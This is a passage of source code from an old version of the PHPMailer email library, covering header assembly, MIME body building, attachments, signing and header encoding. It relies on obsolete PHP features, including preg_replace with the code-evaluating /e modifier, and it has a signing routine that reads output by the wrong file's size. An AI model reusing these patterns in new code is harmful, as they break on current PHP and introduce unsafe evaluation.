  2018. * @param string $lang_path Path to the language file directory
  2019. * @access public
  2020. * @return bool
  2021. */
  2022. function SetLanguage($lang_type, $lang_path = 'language/') {
  2023. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2024. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2025. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2026. include($lang_path.'phpmailer.lang-en.php');
  2027. } else {
  2028. $this->SetError('Could not load language file');
  2029. return false;
  2030. }
  2031. $this->language = $PHPMAILER_LANG;
  2032.  
  2033. return true;
  2034. }
  2035.  
  2036. /////////////////////////////////////////////////
  2037. // METHODS, MESSAGE CREATION
  2038. /////////////////////////////////////////////////
  2039.  
  2040. /**
  2041. * Creates recipient headers.
  2042. * @access private
  2043. * @return string
  2044. */
  2045. function AddrAppend($type, $addr) {
  2046. $addr_str = $type . ': ';
  2047. $addr_str .= $this->AddrFormat($addr[0]);
  2048. if(count($addr) > 1) {
  2049. for($i = 1; $i < count($addr); $i++) {
  2050. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2051. }
  2052. }
  2053. $addr_str .= $this->LE;
  2054.  
  2055. return $addr_str;
  2056. }
  2057.  
  2058. /**
  2059. * Formats an address correctly.
  2060. * @access private
  2061. * @return string
  2062. */
  2063. function AddrFormat($addr) {
  2064. if(empty($addr[1])) {
  2065. $formatted = $this->SecureHeader($addr[0]);
  2066. } else {
  2067. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2068. }
  2069.  
  2070. return $formatted;
  2071. }
  2072.  
  2073. /**
  2074. * Wraps message for use with mailers that do not
  2075. * automatically perform wrapping and for quoted-printable.
  2076. * Original written by philippe.
  2077. * @access private
  2078. * @return string
  2079. */
  2080. function WrapText($message, $length, $qp_mode = false) {
  2081. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2082. // If utf-8 encoding is used, we will need to make sure we don't
  2083. // split multibyte characters when we wrap
  2084. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2085.  
  2086. $message = $this->FixEOL($message);
  2087. if (substr($message, -1) == $this->LE) {
  2088. $message = substr($message, 0, -1);
  2089. }
  2090.  
  2091. $line = explode($this->LE, $message);
  2092. $message = '';
  2093. for ($i=0 ;$i < count($line); $i++) {
  2094. $line_part = explode(' ', $line[$i]);
  2095. $buf = '';
  2096. for ($e = 0; $e<count($line_part); $e++) {
  2097. $word = $line_part[$e];
  2098. if ($qp_mode and (strlen($word) > $length)) {
  2099. $space_left = $length - strlen($buf) - 1;
  2100. if ($e != 0) {
  2101. if ($space_left > 20) {
  2102. $len = $space_left;
  2103. if ($is_utf8) {
  2104. $len = $this->UTF8CharBoundary($word, $len);
  2105. } elseif (substr($word, $len - 1, 1) == "=") {
  2106. $len--;
  2107. } elseif (substr($word, $len - 2, 1) == "=") {
  2108. $len -= 2;
  2109. }
  2110. $part = substr($word, 0, $len);
  2111. $word = substr($word, $len);
  2112. $buf .= ' ' . $part;
  2113. $message .= $buf . sprintf("=%s", $this->LE);
  2114. } else {
  2115. $message .= $buf . $soft_break;
  2116. }
  2117. $buf = '';
  2118. }
  2119. while (strlen($word) > 0) {
  2120. $len = $length;
  2121. if ($is_utf8) {
  2122. $len = $this->UTF8CharBoundary($word, $len);
  2123. } elseif (substr($word, $len - 1, 1) == "=") {
  2124. $len--;
  2125. } elseif (substr($word, $len - 2, 1) == "=") {
  2126. $len -= 2;
  2127. }
  2128. $part = substr($word, 0, $len);
  2129. $word = substr($word, $len);
  2130.  
  2131. if (strlen($word) > 0) {
  2132. $message .= $part . sprintf("=%s", $this->LE);
  2133. } else {
  2134. $buf = $part;
  2135. }
  2136. }
  2137. } else {
  2138. $buf_o = $buf;
  2139. $buf .= ($e == 0) ? $word : (' ' . $word);
  2140.  
  2141. if (strlen($buf) > $length and $buf_o != '') {
  2142. $message .= $buf_o . $soft_break;
  2143. $buf = $word;
  2144. }
  2145. }
  2146. }
  2147. $message .= $buf . $this->LE;
  2148. }
  2149.  
  2150. return $message;
  2151. }
  2152.  
  2153. /**
  2154. * Finds last character boundary prior to maxLength in a utf-8
  2155. * quoted (printable) encoded string.
  2156. * Original written by Colin Brown.
  2157. * @access private
  2158. * @param string $encodedText utf-8 QP text
  2159. * @param int $maxLength find last character boundary prior to this length
  2160. * @return int
  2161. */
  2162. function UTF8CharBoundary($encodedText, $maxLength) {
  2163. $foundSplitPos = false;
  2164. $lookBack = 3;
  2165. while (!$foundSplitPos) {
  2166. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2167. $encodedCharPos = strpos($lastChunk, "=");
  2168. if ($encodedCharPos !== false) {
  2169. // Found start of encoded character byte within $lookBack block.
  2170. // Check the encoded byte value (the 2 chars after the '=')
  2171. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2172. $dec = hexdec($hex);
  2173. if ($dec < 128) { // Single byte character.
  2174. // If the encoded char was found at pos 0, it will fit
  2175. // otherwise reduce maxLength to start of the encoded char
  2176. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2177. $maxLength - ($lookBack - $encodedCharPos);
  2178. $foundSplitPos = true;
  2179. } elseif ($dec >= 192) { // First byte of a multi byte character
  2180. // Reduce maxLength to split at start of character
  2181. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2182. $foundSplitPos = true;
  2183. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2184. $lookBack += 3;
  2185. }
  2186. } else {
  2187. // No encoded character found
  2188. $foundSplitPos = true;
  2189. }
  2190. }
  2191. return $maxLength;
  2192. }
  2193.  
  2194. /**
  2195. * Set the body wrapping.
  2196. * @access private
  2197. * @return void
  2198. */
  2199. function SetWordWrap() {
  2200. if($this->WordWrap < 1) {
  2201. return;
  2202. }
  2203.  
  2204. switch($this->message_type) {
  2205. case 'alt':
  2206. /* fall through */
  2207. case 'alt_attachments':
  2208. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2209. break;
  2210. default:
  2211. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2212. break;
  2213. }
  2214. }
  2215.  
  2216. /**
  2217. * Assembles message header.
  2218. * @access private
  2219. * @return string
  2220. */
  2221. function CreateHeader() {
  2222. $result = '';
  2223.  
  2224. /* Set the boundaries */
  2225. $uniq_id = md5(uniqid(time()));
  2226. $this->boundary[1] = 'b1_' . $uniq_id;
  2227. $this->boundary[2] = 'b2_' . $uniq_id;
  2228.  
  2229. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2230. if($this->Sender == '') {
  2231. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2232. } else {
  2233. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2234. }
  2235.  
  2236. /* To be created automatically by mail() */
  2237. if($this->Mailer != 'mail') {
  2238. if(count($this->to) > 0) {
  2239. $result .= $this->AddrAppend('To', $this->to);
  2240. } elseif (count($this->cc) == 0) {
  2241. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2242. }
  2243. if(count($this->cc) > 0) {
  2244. $result .= $this->AddrAppend('Cc', $this->cc);
  2245. }
  2246. }
  2247.  
  2248. $from = array();
  2249. $from[0][0] = trim($this->From);
  2250. $from[0][1] = $this->FromName;
  2251. $result .= $this->AddrAppend('From', $from);
  2252.  
  2253. /* sendmail and mail() extract Cc from the header before sending */
  2254. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2255. $result .= $this->AddrAppend('Cc', $this->cc);
  2256. }
  2257.  
  2258. /* sendmail and mail() extract Bcc from the header before sending */
  2259. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2260. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2261. }
  2262.  
  2263. if(count($this->ReplyTo) > 0) {
  2264. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2265. }
  2266.  
  2267. /* mail() sets the subject itself */
  2268. if($this->Mailer != 'mail') {
  2269. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2270. }
  2271.  
  2272. if($this->MessageID != '') {
  2273. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2274. } else {
  2275. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2276. }
  2277. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2278. $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2279.  
  2280. if($this->ConfirmReadingTo != '') {
  2281. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2282. }
  2283.  
  2284. // Add custom headers
  2285. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2286. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2287. }
  2288. if (!$this->sign_key_file) {
  2289. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2290. $result .= $this->GetMailMIME();
  2291. }
  2292.  
  2293. return $result;
  2294. }
  2295.  
  2296. /**
  2297. * Returns the message MIME.
  2298. * @access private
  2299. * @return string
  2300. */
  2301. function GetMailMIME() {
  2302. $result = '';
  2303. switch($this->message_type) {
  2304. case 'plain':
  2305. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2306. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2307. break;
  2308. case 'attachments':
  2309. /* fall through */
  2310. case 'alt_attachments':
  2311. if($this->InlineImageExists()){
  2312. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2313. } else {
  2314. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2315. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2316. }
  2317. break;
  2318. case 'alt':
  2319. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2320. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2321. break;
  2322. }
  2323.  
  2324. if($this->Mailer != 'mail') {
  2325. $result .= $this->LE.$this->LE;
  2326. }
  2327.  
  2328. return $result;
  2329. }
  2330.  
  2331. /**
  2332. * Assembles the message body. Returns an empty string on failure.
  2333. * @access private
  2334. * @return string
  2335. */
  2336. function CreateBody() {
  2337. $result = '';
  2338. if ($this->sign_key_file) {
  2339. $result .= $this->GetMailMIME();
  2340. }
  2341.  
  2342. $this->SetWordWrap();
  2343.  
  2344. switch($this->message_type) {
  2345. case 'alt':
  2346. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2347. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2348. $result .= $this->LE.$this->LE;
  2349. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2350. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2351. $result .= $this->LE.$this->LE;
  2352. $result .= $this->EndBoundary($this->boundary[1]);
  2353. break;
  2354. case 'plain':
  2355. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2356. break;
  2357. case 'attachments':
  2358. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2359. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2360. $result .= $this->LE;
  2361. $result .= $this->AttachAll();
  2362. break;
  2363. case 'alt_attachments':
  2364. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2365. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2366. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2367. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2368. $result .= $this->LE.$this->LE;
  2369. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2370. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2371. $result .= $this->LE.$this->LE;
  2372. $result .= $this->EndBoundary($this->boundary[2]);
  2373. $result .= $this->AttachAll();
  2374. break;
  2375. }
  2376.  
  2377. if($this->IsError()) {
  2378. $result = '';
  2379. } else if ($this->sign_key_file) {
  2380. $file = tempnam("", "mail");
  2381. $fp = fopen($file, "w");
  2382. fwrite($fp, $result);
  2383. fclose($fp);
  2384. $signed = tempnam("", "signed");
  2385.  
  2386. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2387. $fp = fopen($signed, "r");
  2388. $result = fread($fp, filesize($this->sign_key_file));
  2389. fclose($fp);
  2390. } else {
  2391. $this->SetError($this->Lang("signing").openssl_error_string());
  2392. $result = '';
  2393. }
  2394.  
  2395. unlink($file);
  2396. unlink($signed);
  2397. }
  2398.  
  2399. return $result;
  2400. }
  2401.  
  2402. /**
  2403. * Returns the start of a message boundary.
  2404. * @access private
  2405. */
  2406. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2407. $result = '';
  2408. if($charSet == '') {
  2409. $charSet = $this->CharSet;
  2410. }
  2411. if($contentType == '') {
  2412. $contentType = $this->ContentType;
  2413. }
  2414. if($encoding == '') {
  2415. $encoding = $this->Encoding;
  2416. }
  2417. $result .= $this->TextLine('--' . $boundary);
  2418. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2419. $result .= $this->LE;
  2420. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2421. $result .= $this->LE;
  2422.  
  2423. return $result;
  2424. }
  2425.  
  2426. /**
  2427. * Returns the end of a message boundary.
  2428. * @access private
  2429. */
  2430. function EndBoundary($boundary) {
  2431. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2432. }
  2433.  
  2434. /**
  2435. * Sets the message type.
  2436. * @access private
  2437. * @return void
  2438. */
  2439. function SetMessageType() {
  2440. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2441. $this->message_type = 'plain';
  2442. } else {
  2443. if(count($this->attachment) > 0) {
  2444. $this->message_type = 'attachments';
  2445. }
  2446. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2447. $this->message_type = 'alt';
  2448. }
  2449. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2450. $this->message_type = 'alt_attachments';
  2451. }
  2452. }
  2453. }
  2454.  
  2455. /* Returns a formatted header line.
  2456. * @access private
  2457. * @return string
  2458. */
  2459. function HeaderLine($name, $value) {
  2460. return $name . ': ' . $value . $this->LE;
  2461. }
  2462.  
  2463. /**
  2464. * Returns a formatted mail line.
  2465. * @access private
  2466. * @return string
  2467. */
  2468. function TextLine($value) {
  2469. return $value . $this->LE;
  2470. }
  2471.  
  2472. /////////////////////////////////////////////////
  2473. // CLASS METHODS, ATTACHMENTS
  2474. /////////////////////////////////////////////////
  2475.  
  2476. /**
  2477. * Adds an attachment from a path on the filesystem.
  2478. * Returns false if the file could not be found
  2479. * or accessed.
  2480. * @param string $path Path to the attachment.
  2481. * @param string $name Overrides the attachment name.
  2482. * @param string $encoding File encoding (see $Encoding).
  2483. * @param string $type File extension (MIME) type.
  2484. * @return bool
  2485. */
  2486. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2487. if(!@is_file($path)) {
  2488. $this->SetError($this->Lang('file_access') . $path);
  2489. return false;
  2490. }
  2491.  
  2492. $filename = basename($path);
  2493. if($name == '') {
  2494. $name = $filename;
  2495. }
  2496.  
  2497. $cur = count($this->attachment);
  2498. $this->attachment[$cur][0] = $path;
  2499. $this->attachment[$cur][1] = $filename;
  2500. $this->attachment[$cur][2] = $name;
  2501. $this->attachment[$cur][3] = $encoding;
  2502. $this->attachment[$cur][4] = $type;
  2503. $this->attachment[$cur][5] = false; // isStringAttachment
  2504. $this->attachment[$cur][6] = 'attachment';
  2505. $this->attachment[$cur][7] = 0;
  2506.  
  2507. return true;
  2508. }
  2509.  
  2510. /**
  2511. * Attaches all fs, string, and binary attachments to the message.
  2512. * Returns an empty string on failure.
  2513. * @access private
  2514. * @return string
  2515. */
  2516. function AttachAll() {
  2517. /* Return text of body */
  2518. $mime = array();
  2519.  
  2520. /* Add all attachments */
  2521. for($i = 0; $i < count($this->attachment); $i++) {
  2522. /* Check for string attachment */
  2523. $bString = $this->attachment[$i][5];
  2524. if ($bString) {
  2525. $string = $this->attachment[$i][0];
  2526. } else {
  2527. $path = $this->attachment[$i][0];
  2528. }
  2529.  
  2530. $filename = $this->attachment[$i][1];
  2531. $name = $this->attachment[$i][2];
  2532. $encoding = $this->attachment[$i][3];
  2533. $type = $this->attachment[$i][4];
  2534. $disposition = $this->attachment[$i][6];
  2535. $cid = $this->attachment[$i][7];
  2536.  
  2537. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2538. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2539. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2540.  
  2541. if($disposition == 'inline') {
  2542. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2543. }
  2544.  
  2545. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2546.  
  2547. /* Encode as string attachment */
  2548. if($bString) {
  2549. $mime[] = $this->EncodeString($string, $encoding);
  2550. if($this->IsError()) {
  2551. return '';
  2552. }
  2553. $mime[] = $this->LE.$this->LE;
  2554. } else {
  2555. $mime[] = $this->EncodeFile($path, $encoding);
  2556. if($this->IsError()) {
  2557. return '';
  2558. }
  2559. $mime[] = $this->LE.$this->LE;
  2560. }
  2561. }
  2562.  
  2563. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2564.  
  2565. return join('', $mime);
  2566. }
  2567.  
  2568. /**
  2569. * Encodes attachment in requested format. Returns an
  2570. * empty string on failure.
  2571. * @access private
  2572. * @return string
  2573. */
  2574. function EncodeFile ($path, $encoding = 'base64') {
  2575. if(!@$fd = fopen($path, 'rb')) {
  2576. $this->SetError($this->Lang('file_open') . $path);
  2577. return '';
  2578. }
  2579. $magic_quotes = get_magic_quotes_runtime();
  2580. set_magic_quotes_runtime(0);
  2581. $file_buffer = fread($fd, filesize($path));
  2582. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2583. fclose($fd);
  2584. set_magic_quotes_runtime($magic_quotes);
  2585.  
  2586. return $file_buffer;
  2587. }
  2588.  
  2589. /**
  2590. * Encodes string to requested format. Returns an
  2591. * empty string on failure.
  2592. * @access private
  2593. * @return string
  2594. */
  2595. function EncodeString ($str, $encoding = 'base64') {
  2596. $encoded = '';
  2597. switch(strtolower($encoding)) {
  2598. case 'base64':
  2599. /* chunk_split is found in PHP >= 3.0.6 */
  2600. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2601. break;
  2602. case '7bit':
  2603. case '8bit':
  2604. $encoded = $this->FixEOL($str);
  2605. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2606. $encoded .= $this->LE;
  2607. break;
  2608. case 'binary':
  2609. $encoded = $str;
  2610. break;
  2611. case 'quoted-printable':
  2612. $encoded = $this->EncodeQP($str);
  2613. break;
  2614. default:
  2615. $this->SetError($this->Lang('encoding') . $encoding);
  2616. break;
  2617. }
  2618. return $encoded;
  2619. }
  2620.  
  2621. /**
  2622. * Encode a header string to best of Q, B, quoted or none.
  2623. * @access private
  2624. * @return string
  2625. */
  2626. function EncodeHeader ($str, $position = 'text') {
  2627. $x = 0;
  2628.  
  2629. switch (strtolower($position)) {
  2630. case 'phrase':
  2631. if (!preg_match('/[\200-\377]/', $str)) {
  2632. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2633. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2634. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2635. return ($encoded);
  2636. } else {
  2637. return ("\"$encoded\"");
  2638. }
  2639. }
  2640. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2641. break;
  2642. case 'comment':
  2643. $x = preg_match_all('/[()"]/', $str, $matches);
  2644. /* Fall-through */
  2645. case 'text':
  2646. default:
  2647. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2648. break;
  2649. }
  2650.  
  2651. if ($x == 0) {
  2652. return ($str);
  2653. }
  2654.  
  2655. $maxlen = 75 - 7 - strlen($this->CharSet);
  2656. /* Try to select the encoding which should produce the shortest output */
  2657. if (strlen($str)/3 < $x) {
  2658. $encoding = 'B';
  2659. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2660. // Use a custom function which correctly encodes and wraps long
  2661. // multibyte strings without breaking lines within a character
  2662. $encoded = $this->Base64EncodeWrapMB($str);
  2663. } else {
  2664. $encoded = base64_encode($str);
  2665. $maxlen -= $maxlen % 4;
  2666. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2667. }
  2668. } else {
  2669. $encoding = 'Q';
  2670. $encoded = $this->EncodeQ($str, $position);
  2671. $encoded = $this->WrapText($encoded, $maxlen, true);
  2672. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2673. }
  2674.  
  2675. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2676. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2677.  
  2678. return $encoded;
  2679. }
  2680.  
  2681. /**
  2682. * Checks if a string contains multibyte characters.
  2683. * @access private
  2684. * @param string $str multi-byte text to wrap encode
  2685. * @return bool
  2686. */
  2687. function HasMultiBytes($str) {
  2688. if (function_exists('mb_strlen')) {
  2689. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2690. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2691. return False;
  2692. }
  2693. }
  2694.  
  2695. /**
  2696. * Correctly encodes and wraps long multibyte strings for mail headers
  2697. * without breaking lines within a character.
  2698. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2699. * @access private
  2700. * @param string $str multi-byte text to wrap encode
  2701. * @return string
  2702. */
  2703. function Base64EncodeWrapMB($str) {
  2704. $start = "=?".$this->CharSet."?B?";
  2705. $end = "?=";
  2706. $encoded = "";
  2707.  
  2708. $mb_length = mb_strlen($str, $this->CharSet);
  2709. // Each line must have length <= 75, including $start and $end
  2710. $length = 75 - strlen($start) - strlen($end);
  2711. // Average multi-byte ratio
  2712. $ratio = $mb_length / strlen($str);
  2713. // Base64 has a 4:3 ratio
  2714. $offset = $avgLength = floor($length * $ratio * .75);
  2715.  
  2716. for ($i = 0; $i < $mb_length; $i += $offset) {
  2717. $lookBack = 0;
  2718.  
  2719. do {
  2720. $offset = $avgLength - $lookBack;
  2721. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2722. $chunk = base64_encode($chunk);
  2723. $lookBack++;
  2724. }
  2725. while (strlen($chunk) > $length);
  2726.  
  2727. $encoded .= $chunk . $this->LE;
  2728. }
  2729.  
  2730. // Chomp the last linefeed
  2731. $encoded = substr($encoded, 0, -strlen($this->LE));
  2732. return $encoded;
  2733. }
  2734.  
  2735. /**
  2736. * Encode string to quoted-printable.
  2737. * @access private
  2738. * @return string
  2739. */
  2740. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2741. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2742. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2743. $eol = "\r\n";
  2744. $escape = '=';
  2745. $output = '';
  2746. while( list(, $line) = each($lines) ) {
  2747. $linlen = strlen($line);
  2748. $newline = '';
  2749. for($i = 0; $i < $linlen; $i++) {
  2750. $c = substr( $line, $i, 1 );
  2751. $dec = ord( $c );
  2752. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2753. $c = '=2E';
  2754. }
  2755. if ( $dec == 32 ) {
  2756. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2757. $c = '=20';
  2758. } else if ( $space_conv ) {
  2759. $c = '=20';
  2760. }
  2761. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2762. $h2 = floor($dec/16);
  2763. $h1 = floor($dec%16);
  2764. $c = $escape.$hex[$h2].$hex[$h1];
  2765. }
  2766. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2767. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2768. $newline = '';
  2769. // check if newline first character will be point or not
  2770. if ( $dec == 46 ) {
  2771. $c = '=2E';
  2772. }
  2773. }
  2774. $newline .= $c;
  2775. } // end of for
  2776. $output .= $newline.$eol;
  2777. } // end of while
  2778. return trim($output);
  2779. }
  2780.  
  2781. /**
  2782. * Encode string to q encoding.
  2783. * @access private
  2784. * @return string
  2785. */
  2786. function EncodeQ ($str, $position = 'text') {
  2787. /* There should not be any EOL in the string */
  2788. $encoded = preg_replace("[\r\n]", '', $str);
  2789.  
  2790. switch (strtolower($position)) {
  2791. case 'phrase':
  2792. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2793. break;
  2794. case 'comment':
  2795. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2796. case 'text':
  2797. default:
  2798. /* Replace every high ascii, control =, ? and _ characters */
  2799. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2800. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2801. break;
  2802. }
  2803.  
  2804. /* Replace every spaces to _ (more readable than =20) */
  2805. $encoded = str_replace(' ', '_', $encoded);
  2806.  
  2807. return $encoded;
  2808. }
  2809.  
  2810. /**
  2811. * Adds a string or binary attachment (non-filesystem) to the list.
  2812. * This method can be used to attach ascii or binary data,
  2813. * such as a BLOB record from a database.
  2814. * @param string $string String attachment data.
  2815. * @param string $filename Name of the attachment.
  2816. * @param string $encoding File encoding (see $Encoding).
  2817. * @param string $type File extension (MIME) type.
  2818. * @return void
  2819. */
  2820. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2821. /* Append to $attachment array */
  2822. $cur = count($this->attachment);
  2823. $this->attachment[$cur][0] = $string;
  2824. $this->attachment[$cur][1] = $filename;
  2825. $this->attachment[$cur][2] = $filename;
  2826. $this->attachment[$cur][3] = $encoding;
  2827. $this->attachment[$cur][4] = $type;
  2828. $this->attachment[$cur][5] = true; // isString
  2829. $this->attachment[$cur][6] = 'attachment';
  2830. $this->attachment[$cur][7] = 0;
  2831. }
  2832.  
  2833. /**
  2834. * Adds an embedded attachment. This can include images, sounds, and
  2835. * just about any other document. Make sure to set the $type to an
  2836. * image type. For JPEG images use "image/jpeg" and for GIF images
  2837. * use "image/gif".
  2838. * @param string $path Path to the attachment.
  2839. * @param string $cid Content ID of the attachment. Use this to identify
  2840. * the Id for accessing the image in an HTML form.
  2841. * @param string $name Overrides the attachment name.
  2842. * @param string $encoding File encoding (see $Encoding).
  2843. * @param string $type File extension (MIME) type.
  2844. * @return bool
  2845. */
  2846. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2847.  
  2848. if(!@is_file($path)) {
  2849. $this->SetError($this->Lang('file_access') . $path);
  2850. return false;
  2851. }
  2852.  
  2853. $filename = basename($path);
  2854. if($name == '') {
  2855. $name = $filename;
  2856. }
  2857.  
  2858. /* Append to $attachment array */
  2859. $cur = count($this->attachment);
  2860. $this->attachment[$cur][0] = $path;
  2861. $this->attachment[$cur][1] = $filename;
  2862. $this->attachment[$cur][2] = $name;
  2863. $this->attachment[$cur][3] = $encoding;
  2864. $this->attachment[$cur][4] = $type;
  2865. $this->attachment[$cur][5] = false;
  2866. $this->attachment[$cur][6] = 'inline';
  2867. $this->attachment[$cur][7] = $cid;
  2868.  
  2869. return true;
  2870. }
  2871.  
  2872. /**
  2873. * Returns true if an inline attachment is present.
  2874. * @access private
  2875. * @return bool
  2876. */
  2877. function InlineImageExists() {
  2878. $result = false;
  2879. for($i = 0; $i < count($this->attachment); $i++) {
  2880. if($this->attachment[$i][6] == 'inline') {
  2881. $result = true;
  2882. break;
  2883. }
  2884. }
  2885.  
  2886. return $result;
  2887. }
  2888.  
  2889. /////////////////////////////////////////////////
  2890. // CLASS METHODS, MESSAGE RESET
  2891. /////////////////////////////////////////////////
  2892.  
  2893. /**
  2894. * Clears all recipients assigned in the TO array. Returns void.
  2895. * @return void
  2896. */
  2897. function ClearAddresses() {
  2898. $this->to = array();
  2899. }
  2900.  
  2901. /**
  2902. * Clears all recipients assigned in the CC array. Returns void.
  2903. * @return void
  2904. */
  2905. function ClearCCs() {
  2906. $this->cc = array();
  2907. }
  2908.  
  2909. /**
  2910. * Clears all recipients assigned in the BCC array. Returns void.
  2911. * @return void
  2912. */
  2913. function ClearBCCs() {
  2914. $this->bcc = array();
  2915. }
  2916.  
  2917. /**
  2918. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2919. * @return void
  2920. */
  2921. function ClearReplyTos() {
  2922. $this->ReplyTo = array();
  2923. }
  2924.  
  2925. /**
  2926. * Clears all recipients assigned in the TO, CC and BCC
  2927. * array. Returns void.
